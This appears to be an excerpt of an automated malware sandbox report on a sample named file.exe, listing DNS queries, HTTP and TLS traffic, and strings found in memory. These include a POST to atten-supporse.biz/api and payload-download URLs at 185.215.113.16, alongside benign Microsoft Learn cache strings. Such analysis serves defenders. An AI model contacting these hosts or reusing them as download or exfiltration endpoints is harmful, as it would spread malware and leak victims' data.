Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: file.exe, 00000000.00000002.2418639442.0000000001180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2261833486.0000000001183000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exed
Source: file.exe, 00000000.00000003.2342271177.0000000001183000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2261833486.0000000001183000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2407768214.000000000117D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2418639442.0000000001180000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2261907794.00000000011BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000002.2415762115.0000000001138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: file.exe, 00000000.00000003.2132432914.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2132432914.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2059669872.0000000001184000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085113656.000000000117E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2160226481.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2084946354.000000000117C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2158368253.000000000117E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2132556482.000000000117D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2197852891.0000000001180000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2131989417.000000000117D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2180819004.0000000001180000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108745068.000000000117D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157912087.000000000117D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2160312478.0000000001183000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: file.exe, 00000000.00000003.2132432914.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2132432914.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2132432914.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2132432914.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2132432914.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2132432914.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2132432914.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_123.5.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.2132432914.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2132432914.000000000588D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2085523465.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085406782.00000000057BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085458317.00000000057BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_123.5.dr, chromecache_86.5.dr, chromecache_124.5.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_123.5.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: file.exe, 00000000.00000003.2131254733.00000000057FC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2059744536.0000000001162000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2132308897.00000000057FC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2132075548.00000000057FC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2180877027.0000000005819000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2262117098.0000000005819000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2261626946.0000000005816000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085113656.000000000117E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2261833486.0000000001183000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2130601530.000000000581B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2160226481.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2084946354.000000000117C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157871926.0000000005819000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2158368253.000000000117E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2197734185.000000000581B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157912087.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157815281.0000000005816000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2160312478.0000000001183000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2180819004.00000000011CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: file.exe, 00000000.00000003.2157871926.0000000005819000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157815281.0000000005816000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/R
Source: file.exe, 00000000.00000003.2197835920.00000000011E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: file.exe, 00000000.00000003.2339678528.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apib
Source: file.exe, 00000000.00000003.2084946354.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apidnv
Source: file.exe, 00000000.00000003.2197686261.00000000011DF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2197835920.00000000011E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apif%aX
Source: file.exe, 00000000.00000003.2197686261.00000000011DF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2197835920.00000000011E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apio%hX
Source: file.exe, 00000000.00000003.2180999724.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apite
Source: file.exe, 00000000.00000003.2084946354.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/l
Source: file.exe, 00000000.00000003.2197734185.000000000581B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/r
Source: file.exe, 00000000.00000003.2084946354.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/t
Source: file.exe, 00000000.00000003.2262017178.000000000578D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/apiicrosoft
Source: chromecache_123.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_123.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.2157871926.0000000005819000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157815281.0000000005816000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000003.2157815281.0000000005816000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2085523465.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085406782.00000000057BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085458317.00000000057BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2085523465.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085406782.00000000057BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085458317.00000000057BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2085523465.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085406782.00000000057BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085458317.00000000057BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.2157871926.0000000005819000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157815281.0000000005816000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2157871926.0000000005819000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157815281.0000000005816000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2085523465.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085406782.00000000057BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085458317.00000000057BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2085523465.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085406782.00000000057BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085458317.00000000057BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2085523465.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085406782.00000000057BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085458317.00000000057BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_123.5.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.2157815281.0000000005816000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_123.5.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_101.5.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.2133728411.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2133728411.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_101.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.2157815281.0000000005816000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000003.2157871926.0000000005819000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157815281.0000000005816000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2085523465.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085406782.00000000057BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085458317.00000000057BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2085523465.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085406782.00000000057BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085458317.00000000057BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.2133728411.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000003.2133728411.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2133728411.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.2133728411.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2133728411.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2133728411.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822

Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49716 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: file.exe, 00000000.00000003.2294238181.00000000061B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302284672.0000000006168000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339570014.00000000011E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291632798.0000000006027000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292042149.0000000006027000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292723632.00000000060C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339013455.0000000005990000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295615676.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2303453155.0000000006177000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301030740.000000000602A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296572812.0000000006121000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291742801.00000000060C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294348961.000000000602E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2289369766.0000000005917000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292221157.0000000006022000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2293956537.0000000006199000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301396689.0000000006157000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2289155652.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290838037.0000000005C22000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2303034398.0000000006031000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339108649.000000000582E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301519644.0000000006290000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2293666152.0000000006023000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297309384.0000000006119000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294940748.00000000060F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291926162.00000000060D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297407933.000000000620F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299124320.000000000613C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302160462.000000000602D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
